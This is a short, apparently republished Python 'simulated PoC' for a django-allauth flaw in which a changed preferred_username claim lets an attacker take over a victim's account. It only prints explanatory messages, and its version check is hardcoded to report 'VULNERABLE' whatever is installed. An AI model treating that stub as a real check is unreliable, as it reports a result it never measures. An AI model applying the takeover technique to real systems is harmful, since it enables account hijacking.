CVE-2025-65431 django-allauth身份验证标识符篡改漏洞

# CVE-2025-65431 PoC - django-allauth preferred_username Manipulation # This PoC demonstrates the identification bypass vulnerability import requests import json def exploit_cve_2025_65431(): """ Simulated PoC for CVE-2025-65431 Attack scenario: Manipulating preferred_username to hijack accounts """ print("=== CVE-2025-65431 Exploitation Simulation ===") print("Target: django-allauth < 65.13.0") print("Vulnerability: preferred_username used for authorization ") # Step 1: Attacker has legitimate Okta/NetIQ account attacker_id_token = { "sub": "attacker-unique-id-12345", "preferred_username": "[email protected]", "email": "[email protected]", "name": "Attacker User" } # Step 2: Attacker modifies preferred_username to victim's username # In real attack, this depends on Okta/NetIQ configuration modified_id_token = { "sub": "attacker-unique-id-12345", "preferred_username": "[email protected]", "email": "[email protected]", "name": "Attacker User" } # Step 3: System uses preferred_username for linking/authorization # Vulnerable code would link attacker to victim's account print("[VULNERABLE] preferred_username: [email protected]") print("[VULNERABLE] System links attacker to victim account") print("[VULNERABLE] Attacker gains unauthorized access to victim's resources ") # Step 4: After patch, system uses immutable 'sub' field print("[PATCHED] Using 'sub' field for user identification") print("[PATCHED] sub: attacker-unique-id-12345 (immutable)") print("[PATCHED] Attacker cannot impersonate victim") return True def check_vulnerable_version(): """ Check if django-allauth version is vulnerable """ # Vulnerable versions: < 65.13.0 vulnerable = True version = "65.12.0" if vulnerable: print(f"[VULN] Installed version: {version} (VULNERABLE)") print("[VULN] Recommendation: Upgrade to django-allauth >= 65.13.0") else: print(f"[SAFE] Installed version: {version} (PATCHED)") if __name__ == "__main__": exploit_cve_2025_65431() check_vulnerable_version()